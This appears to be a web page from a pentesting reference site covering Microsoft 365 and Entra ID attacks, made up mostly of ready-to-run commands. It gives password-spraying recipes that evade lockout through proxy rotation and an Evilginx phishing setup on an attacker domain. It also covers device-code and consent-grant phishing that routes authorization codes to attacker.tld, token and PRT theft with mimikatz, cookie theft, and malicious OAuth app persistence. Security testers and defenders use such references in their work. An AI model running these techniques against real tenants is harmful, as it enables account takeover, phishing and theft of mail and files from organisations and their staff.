M365 / Azure AD / Entra ID

Microsoft 365, Azure AD / Entra ID pentesting reference. Interactive attack tree covering reconnaissance, initial access, enumeration, privilege escalation, lateral movement, persistence, and data exfiltration across M365 and Azure cloud environments.

#Attack Mindmap

#Azure AD / Entra ID Pentest Tree

Complete Azure AD / Entra ID pentest mindmap based on Synacktiv methodology. Click nodes to expand, search for any technique or tool.

0 techniques - 0 visible - 9 categories
Click a technique node to view its details here

#Entra Pentest Advisor

#Step-by-Step Guide

Answer questions about your current access level and the advisor recommends the right techniques and commands.

Entra ID / M365 Pentest Advisor

Step-by-step advisor for Entra ID and Microsoft 365 offensive operations. Pick your current foothold, then choose a technique to get verify and exploit commands.

#BloodHound Azure Edge Reference

#AZ / AZMG Edge Cross-Reference

SpecterOps BloodHound models Entra/Azure attack paths as typed edges between principals, apps, groups, roles, tenants and resources. When you plan a path in BH and need the concrete abuse tradecraft, look up the edge here to jump to the right section.

Edge Family Section
AZGlobalAdmin Identity Role Global Admin / elevateAccess
AZPrivilegedRoleAdmin Identity Role Privilege Escalation
AZPrivilegedAuthAdmin Identity Role AZPrivilegedAuthAdmin
AZAppAdmin Identity Role App / Role Abuse
AZCloudAppAdmin Identity Role AZCloudAppAdmin
AZHasRole Identity Implicit - role -> principal
AZRoleEligible PIM AZRoleEligible
AZRoleApprover PIM AZRoleApprover
AZMemberOf Identity Implicit - group membership
AZContains Hierarchy AZContains / AZScopedTo
AZScopedTo Hierarchy AZContains / AZScopedTo
AZAuthenticatesTo App / SP AZAuthenticatesTo / AZRunsAs
AZRunsAs App / SP AZAuthenticatesTo / AZRunsAs
AZAddSecret App / SP Service Principal Abuse
AZAddOwner App / SP AZAddOwner - Silent Ownership
AZAddMembers Group PAG Abuse
AZResetPassword User AZResetPassword
AZOwns Entra AZOwner vs AZOwns
AZOwner Azure RM AZOwner vs AZOwns
AZContributor Azure RM RBAC Roles
AZUserAccessAdministrator Azure RM AZUserAccessAdministrator
AZVMContributor Azure RM Key Services (VM)
AZVMAdminLogin Azure RM AZVMAdminLogin
AZAvereContributor Azure RM AZAvereContributor
AZAKSContributor Azure RM AZAKSContributor + AZNodeResourceGroup
AZNodeResourceGroup Azure RM AZAKSContributor + AZNodeResourceGroup
AZAutomationContributor Azure RM Hybrid Worker Run-As
AZLogicAppContributor Azure RM Logic Apps / Connectors
AZWebsiteContributor Azure RM Azure Functions / App Service Kudu
AZExecuteCommand Intune / MDM Exploitation One-liners
AZManagedIdentity Azure RM AKS Pod / Managed Identity
AZKeyVaultKVContributor Key Vault Disk Snapshots, Key Vault
AZGetSecrets Key Vault Disk Snapshots, Key Vault
AZGetCertificates Key Vault Disk Snapshots, Key Vault
AZGetKeys Key Vault Disk Snapshots, Key Vault
AZMGGrantRole MS Graph Exploitation One-liners
AZMGGrantAppRoles MS Graph Exploitation One-liners
AZMGAddSecret MS Graph Dangerous Application Permissions
AZMGAddOwner MS Graph AZAddOwner - Silent Ownership
AZMGAddMember MS Graph Dangerous Application Permissions
AZMGApplication_ReadWrite_All MS Graph Dangerous Application Permissions
AZMGAppRoleAssignment_ReadWrite_All MS Graph Dangerous Application Permissions
AZMGDirectory_ReadWrite_All MS Graph Dangerous Application Permissions
AZMGRoleManagement_ReadWrite_Directory MS Graph Dangerous Application Permissions
AZMGGroup_ReadWrite_All MS Graph AZMGGroup / GroupMember carveout
AZMGGroupMember_ReadWrite_All MS Graph AZMGGroup / GroupMember carveout
AZMGServicePrincipalEndpoint_ReadWrite_All MS Graph Dangerous Application Permissions

#Reconnaissance

#Tenant Discovery

Every Entra tenant exposes a wealth of unauthenticated metadata. Hit the OIDC discovery doc to confirm tenancy and grab the immutable Tenant ID. The getuserrealm endpoint reveals federation type (Managed / Federated / Unknown) which dictates the rest of the attack tree.

# Tenant ID + OIDC config (no auth required)
curl https://login.microsoftonline.com/<domain>/.well-known/openid-configuration
curl https://login.microsoftonline.com/<domain>/v2.0/.well-known/openid-configuration

# User realm - Managed vs Federated, STS URL, brand info
curl "https://login.microsoftonline.com/[email protected]&xml=1"
curl "https://login.microsoftonline.com/common/userrealm/[email protected]?api-version=2.1"

# GetCredentialType - reveals if user exists, throttle status, cloud type
curl -X POST https://login.microsoftonline.com/common/GetCredentialType \
  -H "Content-Type: application/json" \
  -d '{"Username":"[email protected]"}'

# Federation metadata (if Federated)
curl https://login.microsoftonline.com/<tenant_id>/federationmetadata/2007-06/federationmetadata.xml

# Autodiscover (Exchange Online / hybrid)
curl https://outlook.office365.com/autodiscover/autodiscover.json/v1.0/[email protected]?Protocol=Autodiscoverv1
curl https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc

# DNS pivots
dig <domain> TXT MX
dig _dmarc.<domain> TXT
dig autodiscover.<domain> CNAME
dig enterpriseregistration.<domain> CNAME    # AAD Joined fingerprint
dig enterpriseenrollment.<domain> CNAME       # Intune fingerprint
dig msoid.<domain> CNAME                       # MSO redirect
dig _sipfederationtls._tcp.<domain> SRV       # Skype/Teams federation
dig lyncdiscover.<domain> CNAME

#AADInternals Outsider Recon

Import-Module AADInternals
Invoke-AADIntReconAsOutsider -DomainName target.com -Single
Get-AADIntLoginInformation -Domain target.com
Get-AADIntTenantDomains -Domain target.com
Get-AADIntOpenIDConfiguration -Domain target.com
Get-AADIntTenantID -Domain target.com
Get-AADIntTenantBrand -Domain target.com
Get-AADIntUserRealmV2 -UserName [email protected]
Get-AADIntLoginInformation -UserName [email protected]

# Federation / DesktopSSO check
Get-AADIntDesktopSSO -DomainName target.com

# Reverse domains via tenant ID
Invoke-AADIntReconAsOutsider -DomainName target.com | Format-Table

#User & Email Enumeration

# Email validation (timing oracle on /common/GetCredentialType)
python3 o365creeper.py -f emails.txt -o valid.txt
python3 MSOLSpray.py --userlist users.txt --password "x" --domain target.com
TeamFiltration --enum --common-imap --outpath ./out --domain target.com

# Teams presence oracle (needs any valid token)
python3 TeamsEnum.py -a token -t token.txt -l users.txt
python3 TeamsUserEnum.py -t token -u users.txt

# Exchange autodiscover oracle
ruler -k -d target.com brute --users users.txt --passwords pass.txt

# OneDrive URL oracle (no auth)
# https://target-my.sharepoint.com/personal/<user>_target_com/_layouts/15/onedrive.aspx
python3 onedrive_user_enum.py -d target.com -U users.txt

#Service Enumeration

# Subdomain / brand surface
Invoke-EnumerateAzureSubDomains -Base target -Verbose          # MicroBurst
MicroBurst.psm1 :: Invoke-EnumerateAzureBlobs -Base target
SubOver -t target.com
goblob -prefixes target -goroutines 5000

# Blob / Storage / App Service brute
Invoke-EnumerateAzureBlobs -Base target -OutputFile blobs.txt
ffuf -u https://FUZZ.blob.core.windows.net -w wordlist.txt -mc 200,400
ffuf -u https://FUZZ.azurewebsites.net -w wordlist.txt -mc 200,301,302,403
ffuf -u https://FUZZ.scm.azurewebsites.net -w wordlist.txt -mc 401
ffuf -u https://FUZZ.azure-api.net -w wordlist.txt -mc 200,401
ffuf -u https://FUZZ.azurecr.io -w wordlist.txt
ffuf -u https://FUZZ.servicebus.windows.net -w wordlist.txt
ffuf -u https://FUZZ.database.windows.net -w wordlist.txt
ffuf -u https://FUZZ.documents.azure.com -w wordlist.txt        # Cosmos DB
ffuf -u https://FUZZ.vault.azure.net -w wordlist.txt            # Key Vault

# Open container probing
az storage blob list --container-name <name> --account-name <name> --auth-mode login
curl "https://<account>.blob.core.windows.net/<container>?restype=container&comp=list"

#Password Spraying

# MSOLSpray - the classic, hits login.microsoftonline.com
Invoke-MSOLSpray -UserList users.txt -Password "Spring2026!" -AddUser
Invoke-MSOLSpray -UserList users.txt -PasswordList pass.txt -OutFile sprayed.txt

# TeamFiltration - multi-endpoint (Autodiscover, OWA, ADFS, Graph)
TeamFiltration --spray --passwords pass.txt --usernames users.txt --rampup --shuffle
TeamFiltration --spray --sslsleep 4 --pushtoken --teamsenum

# spray365 - generates an execution plan to bypass smart lockout
python3 spray365.py generate -d target.com -u users.txt -pf pass.txt -ep graph -o plan.json
python3 spray365.py spray -ep graph --execution_plan plan.json

# trevorspray - distributed via SSH proxies (residential IP rotation)
trevorspray -u users.txt -p "Password123!" --url https://login.microsoft.com \
  --ssh user@proxy1 user@proxy2 --interval 2

# SprayCharles via proxy chain
python3 SprayCharles.py -t MSOL -u users.txt -p pass.txt --proxy http://127.0.0.1:8080

# Goldfish - newer, hits Substrate / Outlook endpoints (less smart-lockout)
python3 goldfish.py spray -u users.txt -p "Spring2026!" -t target.com

# omnispray - modular module (msol, adfs, autodiscover, owa, oauth2, msonline)
python3 omnispray.py -M msol -u users.txt -p pass.txt

# o365spray (0xZDH) - the most flexible enum + spray combo, multi-endpoint
# Endpoints: oauth2, activesync, autodiscover, msol, adfs
# User enum first (no spray), then spray with throttle to dodge smart lockout
python3 o365spray.py --enum -U users.txt --domain target.com --enum-module oauth2
python3 o365spray.py --enum -U users.txt --domain target.com --enum-module autodiscover
python3 o365spray.py --enum -U users.txt --domain target.com --enum-module activesync
python3 o365spray.py --spray -U valid.txt -P 'Spring2026!' --domain target.com \
  --spray-module oauth2 --count 1 --lockout 30 --safe 10 --output sprayed.json
# --count 1 = 1 password per lockout window, --lockout 30 = 30 min sleep
# --safe 10 = stop spraying an account after 10 lockout signals
python3 o365spray.py --spray -U users.txt -P passwords.txt --domain target.com \
  --spray-module msol --proxy http://127.0.0.1:8080

Notes on smart lockout: Entra ID lockout is per-source-IP and per-account hash. Distribute across IPs (Tor exit list, residential proxy mesh, AWS API Gateway via FireProx) and use long sleep (4h+) between attempts on the same account. The newer FIDO2 / Number Matching policies don't stop spray, only post-credential MFA.

#Username Generation from OSINT

Before any spray you need a high-quality username list. The classic approach: scrape the target's LinkedIn employee directory, then transform employee names into the tenant's actual username format ({first}.{last}@target.com, {first[0]}{last}@target.com, etc.).

# linkedin2username (initstring) - the canonical tool
# Scrape via authenticated session - needs your own LinkedIn cookie
python3 linkedin2username.py -c company-name -n target.com -s LISESSIONID
# Generates several output files with all common username formats:
#   first.last.txt, flast.txt, firstl.txt, first_last.txt, etc.
# Output goes to li2u-output/ by default

# With domain suffix injection
python3 linkedin2username.py -c company-name -n target.com -s LISESSIONID \
  --output users.txt --depth 3   # depth = how many pages of employees to scrape

# CrossLinked - alternative that uses Google/Bing dorks (no LinkedIn auth needed)
python3 crosslinked.py -f '{first}.{last}@target.com' "Target Company"
python3 crosslinked.py -f '{f}{last}@target.com' "Target Company" -t 30 -j 2

# Once you have raw names, validate against the tenant
python3 o365creeper.py -f li2u-output/first.last.txt -o valid.txt
python3 o365spray.py --enum -U li2u-output/first.last.txt --domain target.com --enum-module oauth2
# Then spray the validated subset only

Workflow OSINT -> spray : linkedin2username/crosslinked -> generate name permutations -> o365creeper or o365spray --enum to validate -> spray validated list with o365spray/MSOLSpray. This sequence avoids burning lockouts on invalid accounts.

#Initial Access

#Phishing / Token Theft Overview

Method Tool / Command
Evilginx2 (AiTM) evilginx2 -p phishlets/ -c config.json
EvilProxy (commercial PaaS) Subscription based, rotates infra automatically
Tycoon 2FA / Greatness Commercial PhaaS, target M365 + Gmail
Device Code Phishing Get-AzureToken -Client MSGraph
Illicit Consent Grant Multi-tenant app -> consent URL -> app gets scopes
WebView2 Token Theft WebView2-DumpTokens.exe headless Chromium
PRT Theft mimikatz sekurlsa::cloudap or Get-AADIntUserPRTToken
ESTSAUTH cookie theft Browser process / DPAPI -> roadtx browserprtauth
TokenBroker .tbres %LOCALAPPDATA%\Microsoft\TokenBroker\Cache\*.tbres
WAM cache %LOCALAPPDATA%\Packages\Microsoft.AAD.BrokerPlugin_*\AC\TokenBroker
Service Principal Cred Theft Az CLI / Az PS context files on dev workstation

#Stolen Credentials & Token Files

# Az CLI artefacts (Linux + Windows + macOS)
~/.azure/accessTokens.json                # legacy CLI <2.30
~/.azure/azureProfile.json
~/.azure/msal_token_cache.json            # CLI 2.30+
~/.azure/msal_token_cache.bin             # binary form
~/.azure/azureProfile.json
~/.azure/clouds.config
~/.azure/service_principal_entries.json   # SP secrets stored here
$env:USERPROFILE\.Azure\
$env:USERPROFILE\AppData\Roaming\Microsoft\Azure*
$env:LOCALAPPDATA\.IdentityService\msal.cache

# Az PowerShell artefacts
$env:USERPROFILE\AppData\Roaming\Windows Azure Powershell\TokenCache.dat
$env:USERPROFILE\.Azure\AzureRmContext.json
$env:USERPROFILE\.Azure\TokenCache.dat

# Token Broker (WAM) cache
%LOCALAPPDATA%\Microsoft\TokenBroker\Cache\*.tbres
%LOCALAPPDATA%\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\AC\TokenBroker
%LOCALAPPDATA%\Microsoft\IdentityCache\

# Visual Studio / VS Code Azure auth
%LOCALAPPDATA%\.IdentityService\AzureServiceAuth\tokencache.dat
%APPDATA%\Code\User\globalStorage\ms-vscode.azure-account

# Browser cookies (ESTSAUTH / ESTSAUTHPERSISTENT / x_ms_RefreshTokenCredential)
SharpChromium.exe cookies
HackBrowserData -browser all -dir ./out
DonPAPI.py -targets <host> domain/user:pass

# Pass the Cookie via roadtx (browserless)
roadtx browsercookieauth -c <ESTSAUTHPERSISTENT>
roadtx interactiveauth --estscookie <cookie> -r https://graph.microsoft.com

# Pass the PRT
mimikatz # sekurlsa::cloudap
Get-AADIntUserPRTToken
roadtx prt -a <PRT> -k <session_key> -c <client_id>
pypykatz lsa minidump lsass.dmp | grep -i prt

#Modern Phishing & Token Theft

#AiTM Frameworks

Adversary in The Middle (AiTM) phishing intercepts both credentials and the post-MFA session cookie by acting as a transparent reverse proxy in front of login.microsoftonline.com. The phishing page is a 1:1 rendering of the real login because it IS the real login - just proxied. The captured ESTSAUTHPERSISTENT cookie is a fully valid bearer that can be replayed in any browser.

Framework Notes
Evilginx2 Open source, Go, custom phishlets (o365.yaml, m365.yaml, o365_v3.yaml). Handle CAPTCHA via lure landing pages.
Evilginx3 (kgretzky fork) Adds js_inject for FIDO2 downgrade nag, sub_filter for branding
Storm-1167 / Mamba 2FA Telegram-controlled phishing, real time cookie exfil to attacker bot
EvilProxy Commercial PaaS, ~$400/mo, rotates infra, VPN/TOR detection bypass
Greatness (Mandiant tracked) M365 only, prefilled login form, drag-and-drop builder
Tycoon 2FA Cloudflare Turnstile fronted, randomised paths, anti-bot JS
Caffeine PaaS Russian PaaS, M365 + Outlook lures included
NakedPages / Rockstar 2FA Newer PaaS rolling out late 2024
# Evilginx2 setup (assumes ports 80/443 open + DNS A records)
evilginx2 -p ./phishlets -c ./config
> config domain phish.attacker.tld
> config ipv4 1.2.3.4
> config redirect_url https://office.com/
> phishlets hostname o365 login.attacker.tld
> phishlets enable o365
> lures create o365
> lures edit 0 redirect_url https://outlook.office.com
> lures get-url 0
# -> https://login.attacker.tld/abc123 - this is your phish link

# Sessions captured contain ESTSAUTHPERSISTENT, ESTSAUTH, x_ms_RefreshTokenCredential
> sessions
> sessions 1
# Export cookie JSON for browser replay or roadtx

#Device Code Phishing

The OAuth 2.0 device authorization grant lets a device with no keyboard request a token by displaying a code that a user types on a separate browser. There is no MFA branding, no consent prompt the user can recognise as malicious, and the resulting token comes from login.microsoftonline.com itself. Bait the user into typing your code on microsoft.com/devicelogin and you receive their refresh token.

# TokenTactics V2 (rvrsh3ll fork - the modern one)
Import-Module .\TokenTacticsV2.psd1
Get-AzureToken -Client MSGraph
# -> Displays user_code, polls token endpoint every 5s
# Default FOCI client = Microsoft Office (d3590ed6-52b3-4102-aeff-aad2292ab01c)

# Manual POST (no module)
curl -X POST https://login.microsoftonline.com/common/oauth2/devicecode \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&resource=https://graph.microsoft.com"
# Returns: device_code, user_code, verification_url
# Send user_code via phish; victim types it on microsoft.com/devicelogin
curl -X POST https://login.microsoftonline.com/common/oauth2/token \
  -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&code=<device_code>"

Register a multi-tenant app in your own tenant, request scopes you want, and craft a consent URL pointing at the victim tenant. If the user clicks Accept (or if "users can consent to apps" is enabled and the scopes are user-consentable), your SP gets persistent access to their data via refresh token. Reply URL must match the registration.

# 1. Register multi-tenant app in attacker tenant via Azure Portal or:
az ad app create --display-name "Microsoft Office Backup Sync" \
  --sign-in-audience AzureADMultipleOrgs \
  --web-redirect-uris https://attacker.tld/oauth/callback

# 2. Add delegated permissions: Mail.Read, Files.ReadWrite.All, offline_access, openid
az ad app permission add --id <appId> \
  --api 00000003-0000-0000-c000-000000000000 \
  --api-permissions 570282fd-fa5c-430d-a7fd-fc8dc98a9dca=Scope

# 3. Send victim this URL
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
  client_id=<attacker_app_id>
  &response_type=code
  &redirect_uri=https://attacker.tld/oauth/callback
  &response_mode=query
  &scope=offline_access%20Mail.Read%20Files.ReadWrite.All
  &state=12345

# 4. Victim consents -> attacker.tld receives ?code=<auth_code>
# Exchange for tokens
curl -X POST https://login.microsoftonline.com/common/oauth2/v2.0/token \
  -d "client_id=<appId>&scope=Mail.Read%20offline_access&code=<auth_code>&redirect_uri=https://attacker.tld/oauth/callback&grant_type=authorization_code&client_secret=<secret>"

#MFA Fatigue & Number Matching Bypass

# MFA fatigue - spam Authenticator push until user accepts
python3 mfa_fatigue.py -u [email protected] -p password -i 60   # MSOLSpray fork
# Modern Number Matching breaks this for Authenticator, but:

# Bypass via legacy clients that don't support Number Matching:
# - IMAP4 / POP3 / SMTP AUTH (basic auth) -> single factor if Security Defaults off
# - Older Outlook + Activesync
# - PowerShell for Exchange Online (Connect-IPPSSession on legacy creds)
# - Client ID 1b730954-1685-4b74-9bfd-dac224a7b894 (Azure AD PowerShell) bypasses some CA

# FIDO2 / Phone Sign-in skip via WS-Trust legacy endpoint (federated only)
curl -X POST https://login.microsoftonline.com/common/oauth2/token \
  -d "grant_type=password&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&[email protected]&password=...&resource=https://graph.windows.net"

#WAM / TokenBroker Cache Extraction

# .tbres files are JSON with WCT-encoded refresh tokens (DPAPI per user)
ls "$env:LOCALAPPDATA\Microsoft\TokenBroker\Cache\*.tbres"

# Decrypt with Tbres-Parser / SharpTokenBrokerCache
SharpTokenBrokerCache.exe
# or
python3 tbres_decrypt.py *.tbres   # uses CryptUnprotectData via mimikatz dpapi::tbres

# WAM packages (more interesting on Win11 / Hybrid Joined)
ls "$env:LOCALAPPDATA\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\AC\TokenBroker\Accounts"
mimikatz # dpapi::wam

# ROADtools roadwam for live extraction
python3 roadwam.py --tenant <tid> --output tokens.json
Artefact Storage Extract Use
PRT LSASS CloudAP mimikatz sekurlsa::cloudap / Get-AADIntUserPRTToken roadtx prt -> ESTSAUTH cookie -> any service
PRT cookie (x_ms_RefreshTokenCredential) Edge / Chrome cookies SharpChromium / DonPAPI roadtx browserprtauth
ESTSAUTH / ESTSAUTHPERSISTENT login.microsoftonline.com cookies Browser DPAPI Inject in attacker browser, full session
Device transport key TPM (or DPAPI fallback) mimikatz dpapi::cloudapkd Forge new PRT for any user on that device
RefreshToken MSAL cache, .tbres, browser dpapi / json roadtx refreshtokenauth -> new access token
Device certificate LSA / TPM Export-AzureAdJoinedDeviceCertificate.ps1 Spoof device for compliance CA bypass
# Full Pass-the-PRT workflow with roadtx
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap
# -> capture: PRT, ProofOfPossesionKey (KeyValue), TenantId

# Decrypt session key
mimikatz # token::elevate
mimikatz # dpapi::cloudapkd /keyvalue:<base64> /unprotect

# Generate signed PRT cookie -> get tokens
roadtx prt -a <prt_b64> -k <session_key_b64>
# -> emits .roadtools_auth with refresh token; then:
roadtx gettokens -r https://graph.microsoft.com
roadtx browserprtauth   # opens Chromium with full session

#TokenTactics V2 / GraphRunner / TokenSmith / BARK / roadtx

#TokenTactics V2

Modern fork by rvrsh3ll. Handles FOCI client switching, refresh token reuse across resources, and the full M365 token surface (Substrate, OWA, Teams, OneDrive, Yammer, etc).

Import-Module .\TokenTacticsV2.psd1

# Initial token acquisition (device code phish)
Get-AzureToken -Client MSGraph
Get-AzureToken -Client Outlook
Get-AzureToken -Client Substrate
Get-AzureToken -Client AzureManagement
Get-AzureToken -Client MSTeams
Get-AzureToken -Client OneDrive
Get-AzureToken -Client SharePoint
Get-AzureToken -Client Yammer
Get-AzureToken -Client Intune

# Refresh into another resource (FOCI - Family of Client IDs)
RefreshTo-MSGraphToken      -domain target.com -refreshToken $rt
RefreshTo-AzureManagementToken -domain target.com -refreshToken $rt
RefreshTo-SubstrateToken    -domain target.com -refreshToken $rt
RefreshTo-OutlookToken      -domain target.com -refreshToken $rt
RefreshTo-MSTeamsToken      -domain target.com -refreshToken $rt
RefreshTo-OneDriveToken     -domain target.com -refreshToken $rt
RefreshTo-SharePointToken   -domain target.com -refreshToken $rt
RefreshTo-OfficeManagementToken -domain target.com -refreshToken $rt
RefreshTo-OfficeAppsToken   -domain target.com -refreshToken $rt
RefreshTo-AzureCoreManagementToken -domain target.com -refreshToken $rt
RefreshTo-AzureStorageToken -domain target.com -refreshToken $rt
RefreshTo-AzureKeyVaultToken -domain target.com -refreshToken $rt

# Mailbox ops via Substrate token
Get-OWAMailFolder -tokens $tokens
Get-OutlookAttachments -tokens $tokens -folderId Inbox
Send-OutlookEmail -tokens $tokens -to [email protected] -subject "x"

# Token housekeeping
Parse-JWTtoken -Token $access_token
Clear-Token -Token All

#GraphRunner

Beau Bullock's Graph-only post-exploitation framework. Authenticates via device code, then exposes a giant set of recon, abuse, and persistence cmdlets that only need a user token.

Import-Module .\GraphRunner.ps1

# Auth + auto-refresh
$tokens = Get-GraphTokens
Invoke-AutoTokenRefresh -tokens $tokens -RefreshInterval 25

# Recon
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
Invoke-DumpApps -Tokens $tokens
Invoke-DumpCAPS -Tokens $tokens                # Conditional Access policies
Get-SecurityGroups -Tokens $tokens
Get-SharePointSiteURLs -Tokens $tokens
Get-DynamicGroups -Tokens $tokens
Get-UpdatableGroups -Tokens $tokens            # groups you can self-add to
Get-AssignedRoles -Tokens $tokens -Username [email protected]

# Search
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "password"
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "vpn" -MessageCount 100
Invoke-SearchTeams -Tokens $tokens -SearchTerm "secret"
Invoke-SearchUserAttributes -Tokens $tokens -SearchTerm "key"
Invoke-ImmersiveFileReader -Tokens $tokens -DocumentURL "https://..."

# Persistence + privesc
Invoke-InjectOAuthApp -Tokens $tokens -AppName "Office Backup" \
  -ReplyUrl "https://attacker.tld/auth" \
  -Scope "Mail.ReadWrite,Files.ReadWrite.All,User.ReadWrite.All,offline_access"
New-GraphPersistence -Tokens $tokens -Username [email protected]
Invoke-AddGroupMember -Tokens $tokens -GroupId <gid> -UserId <uid>
Invoke-DriveFileDownload -Tokens $tokens -DriveItemId <id>

# Email rules / inbox forwarding
Invoke-MailboxRule -Tokens $tokens -Rule '{"displayName":"x","forwardTo":[...]}'

#roadtx (ROADtools)

# Device code
roadtx devicecode -c msgraph
roadtx devicecode -c azurecli

# Refresh token -> any FOCI client
roadtx gettokens -r https://graph.microsoft.com -c <client_id>
roadtx refreshtokenauth -r https://management.azure.com

# PRT operations (after stealing PRT + session key)
roadtx prt -a <prt> -k <key>
roadtx prtauth -p <prt> -k <key> -r https://graph.microsoft.com
roadtx browserprtauth                              # full browser session w/ PRT cookie
roadtx browsercookieauth -c <ESTSAUTHPERSISTENT>
roadtx browserdeviceauth                           # device-only flow

# Code flow
roadtx codeauth -c msgraph
roadtx interactiveauth                             # browser-driven

# Device registration / hybrid join
roadtx device -a register -n FAKEPC01
roadtx device -a join -n FAKEPC01
roadtx hybriddevice --cert dc.pfx --password pass --tenant <tid>

# FOCI switch examples
roadtx gettokens -r https://outlook.office365.com -c teams
roadtx gettokens -r https://management.core.windows.net -c azps

# OWA / Substrate / EXO via stolen tokens
roadtx owa
roadtx exomailbox --user [email protected]

#TokenSmith

Newer (2024) modular Go tool for token issuance, swap, and parsing. Useful when you only have a refresh token and want to enumerate which resources it can speak to.

tokensmith parse <jwt>
tokensmith swap --refresh-token <rt> --to-resource https://graph.microsoft.com
tokensmith enum --refresh-token <rt>            # tries every FOCI client
tokensmith persist --refresh-token <rt> --output rt.json

#BARK (BloodHound Attack Research Kit)

PowerShell research toolkit by SpecterOps used to reach edges that BloodHound understands. Pure REST, no SDK dependencies.

Import-Module .\BARK.psm1

# Auth
$gt = Get-MSGraphTokenWithUsernamePassword -Username [email protected] -Password 'x' -TenantID <tid>
$at = Get-AzureRMTokenWithUsernamePassword -Username [email protected] -Password 'x' -TenantID <tid>

# Recon
Get-AllAzureRMSubscriptions -Token $at.access_token
Get-AllAzureRMResourceGroups -Token $at.access_token -SubscriptionID <sid>
Get-AllAzureManagedIdentityAssignments -Token $at.access_token
Test-MSGraphTokenPermissions -Token $gt.access_token

# Privilege escalation primitives
New-AppRegSecret -AppRegObjectID <oid> -Token $gt.access_token
New-AppRegCredential -AppRegObjectID <oid>
New-AppOwner -AppObjectID <oid> -NewOwnerObjectID <attacker_oid> -Token $gt.access_token
New-ServicePrincipalOwner -SPObjectID <sid> -NewOwnerObjectID <oid>
Add-MemberToGroup -GroupObjectID <gid> -UserObjectID <uid>
Set-AzureUserPassword -TargetUserID <uid> -Password 'NewPass!' -Token $gt.access_token

# AzureRM abuse
Invoke-AzureRMVMRunCommand -SubscriptionID <sid> -ResourceGroupName <rg> \
  -VMName <vm> -Script 'whoami' -Token $at.access_token
Invoke-AzureRMWebAppShellCommand -KuduURI https://app.scm.azurewebsites.net -Command 'whoami' -Token $at.access_token

#CookieMonster & PRT Modern Tradecraft

#PRT Theory

The Primary Refresh Token is a long-lived (90 day rolling) JWT issued to an Entra Joined / Hybrid Joined / WPJ device, bound to a device key in the TPM. It encodes the user's authentication context (MFA claim, device compliance, tenant) and is used to silently mint web tokens for any cloud app via the SSO flow. Stealing it (or the SSO cookie derived from it) yields full session impersonation that survives password reset and bypasses most CA policies because it carries a compliant-device claim.

Component Source Why we want it
PRT LSASS (CloudAP plugin) Encrypted JWT, the actual refresh material
SessionKey LSASS / TPM Symmetric key used to sign cookies derived from PRT
ProofOfPossesionKey DPAPI-NG (cloudapkd) Decrypts SessionKey from CloudAP cache
dAToken (PRT cookie) x_ms_RefreshTokenCredential cookie What the browser sends to login.microsoftonline.com
Device key TPM (NCRYPT_KEY_HANDLE) Required for PRT renewal beyond 90d
Transport key TPM Used for device authentication on prt refresh

#Mimikatz CloudAP Extraction

# Local Admin / SYSTEM required
mimikatz.exe
privilege::debug
token::elevate
sekurlsa::cloudap
# -> dumps PRT (Base64), KeyValue (encrypted Session Key), Context (IV), DerivedKey

# Decrypt session key with DPAPI machine key
dpapi::cloudapkd /keyvalue:<base64> /unprotect
# -> Clear Key (used to sign PRT cookies)

# Generate a fresh PRT cookie (good for ~24h after issue)
sekurlsa::cloudap /signedjwt
# Or use dpapi::cloudapkd with /context to derive new dAToken

#roadtx PRT Workflow (post-mimikatz)

# After mimikatz dump, feed values to roadtx
roadtx prt -a "<PRT>" -k "<Session_Key>"
# -> writes .roadtools_auth and emits an ESTSAUTH cookie

roadtx browserprtauth
# Chromium opens with full session, MFA-satisfied, on any M365 service

# Or generate a token for a specific resource
roadtx gettokens -r https://graph.microsoft.com -c msgraph
roadtx gettokens -r https://outlook.office365.com -c teams

# Renew PRT (good if device cert + transport key also stolen)
roadtx prtenrich --prt <prt> --prt-sessionkey <key>

#CookieMonster

Open-source framework that automates browser PRT cookie theft from Edge / Chrome. Targets the x_ms_RefreshTokenCredential cookie set on login.microsoftonline.com after first SSO. The cookie is DPAPI-protected per user.

# Build (Rust)
cargo build --release

# Run as the target user (no admin needed for current user cookies)
./cookiemonster --browser edge --output cookies.json
./cookiemonster --browser chrome --tenant <tid>

# Use cookie with roadtx
roadtx browsercookieauth -c "$(jq -r .x_ms_RefreshTokenCredential cookies.json)"

#Get-AADIntUserPRTToken / requestaadrefreshtoken

# AADInternals - extract PRT and immediately get a refresh token (no mimikatz)
Get-AADIntUserPRTToken          # current user only, uses MicrosoftAccountTokenProvider COM
$prt = Get-AADIntUserPRTToken
Get-AADIntAccessTokenForMSGraph -PRTToken $prt

# Sean Metcalf's requestaadrefreshtoken.exe (C# COM caller)
requestaadrefreshtoken.exe browser_core
# -> outputs PRT cookie, paste into Chrome

#Hybrid Joined vs Azure Joined PRT

Device State PRT issued Extraction
Azure AD Joined Yes - on first login mimikatz cloudap, SYSTEM context
Hybrid Joined Yes - after Azure AD Connect sync + WHfB enroll Same, plus AD computer object cert
Workplace Joined (WPJ / BYOD) Yes, scoped per-user Per-user CloudAP entry, no admin needed
Entra Domain Joined Server No PRT (uses cert auth) n/a
# Confirm join state
dsregcmd /status
# -> AzureAdJoined : YES / DomainJoined : YES / WorkplaceJoined : YES
# -> Look for: AzureAdPrt : YES, NgcSet : YES, KeyProvider : Microsoft Platform Crypto Provider (TPM)

# Forge a brand-new PRT if you have Device Certificate + Transport Key (both in TPM normally)
roadtx hybriddevice --cert <pfx> --password <pw> --tenant <tid>
# -> creates a virtual hybrid joined device, issues its own PRT for any synced user

#Workload Identity Federation Abuse

#WIF Theory

Workload Identity Federation lets a non-Microsoft workload (GitHub Actions, GitLab CI, AWS, GCP, any OIDC issuer) authenticate to Entra ID without a stored secret. You add a Federated Identity Credential to an App Registration that says "trust JWTs from issuer X with subject Y for audience Z". From the attacker's perspective: any OIDC token that matches that subject claim is now a valid client assertion against login.microsoftonline.com/<tid>/oauth2/v2.0/token. There is no secret to rotate, no expiration to monitor, and audit logs barely flag the addition.

# List federated credentials on an app (auth needed)
az ad app federated-credential list --id <appId>

